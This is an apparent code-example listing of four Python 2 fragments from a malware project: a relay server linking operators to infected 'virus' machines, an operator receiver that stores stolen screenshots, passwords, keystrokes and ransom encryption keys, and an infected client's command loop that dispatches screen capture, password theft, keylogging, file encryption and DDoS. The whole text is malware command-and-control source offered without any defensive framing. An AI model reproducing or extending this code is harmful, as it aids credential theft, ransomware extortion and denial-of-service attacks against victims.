コード例 #1
0
 def receiveFromClient(self,s,address):
     while True:
         pkt = Packet()
         try:
             pkt.construct(s)
         except socket.error as error:
             if error.errno == 10054 or error.errno == 104:
                 del self.toClient[address[0]]
                 print address[0] + " closed client!"
                 break
             else:
                 raise
         pkt.returnIP = address[0]
         self.enqueueToVirus(pkt)
コード例 #2
0
 def receiveFromVirus(self,s,address):
     while True:
         pkt = Packet()
         try:
             pkt.construct(s)
         except socket.error as error:
             if error.errno == 10054 or error.errno == 104:
                 del self.toVirus[address[0]]
                 self.sendIPList()
                 print address[0] + " uninfected or turned computer off!"
                 break
             else:
                 raise
         if pkt.state == '100':
             tup = self.toVirus[address[0]]
             pkt.RSADecryptData(self.RSAPrivateKey)
             self.toVirus[address[0]] = (tup[0],tup[1],pkt.data)
             self.sendIPList()
         else: self.enqueueToClient(pkt)
コード例 #3
0
def receive(s):
    base = "C:\Users\Matt\Desktop\\testfolder"
    while True:
        pkt = Packet()
        pkt.construct(s)
        t = time.time()
        if pkt.state == "100":
            print pkt.data
            global attackip
            attackip = pkt.data
        elif pkt.state == "143":
            path = base + "\screenshot." + str(t) + ".png"
            im = Image.open(StringIO(pkt.data))
            im.save("C:\Users\Matt\Desktop\\testpic.png",'png')
        elif pkt.state == "144":
            path = base + "\passwords." + str(t) + ".txt"
            f = open(path,"w")
            f.write(pkt.data)
            f.close()
        elif pkt.state == "145":
            path = base + "\keystrokes." + str(t) + ".txt"
            f = open(path,"w")
            f.write(pkt.data)
            f.close()
        elif pkt.state == "146":
            if pkt.data != "already encrypted":
                path = base + "\\" + pkt.toIP + "-encryptionkey"
                f = open(path,"w")
                f.write(pkt.data)
                f.close()
            else: 
                print pkt.data
        elif pkt.state == "147":
            print pkt.data
            if pkt.data == "There you go! Sorry about that.":
                path = base + "\\" + pkt.toIP + "-encryptionkey"
                os.unlink(path)
        else:
            print "don't know that one"
コード例 #4
0
ファイル: client.py プロジェクト: Infamous-devel/placeholder
    def run(self):

        threading.Thread(target=self.dequeue).start()

        while True:
            pkt = Packet()
            pkt.construct(self.s)
            pkt.decryptData(pkt.length,self.key)
            if pkt.state:
                if pkt.state == "143":
                    threading.Thread(target=self.screenshot,args=[pkt]).start()
                elif pkt.state == "144":
                    threading.Thread(target=self.passwords,args=[pkt]).start()
                elif pkt.state == "145":
                    threading.Thread(target=self.keylog,args=[pkt]).start()
                elif pkt.state == "146":
                    threading.Thread(target=self.encrypt,args=[pkt]).start()
                elif pkt.state == "147":
                    threading.Thread(target=self.decrypt,args=[pkt]).start()
                elif pkt.state == "149":
                    threading.Thread(target=self.ddos,args=[pkt]).start()
                else:
                    print "i don't know that command"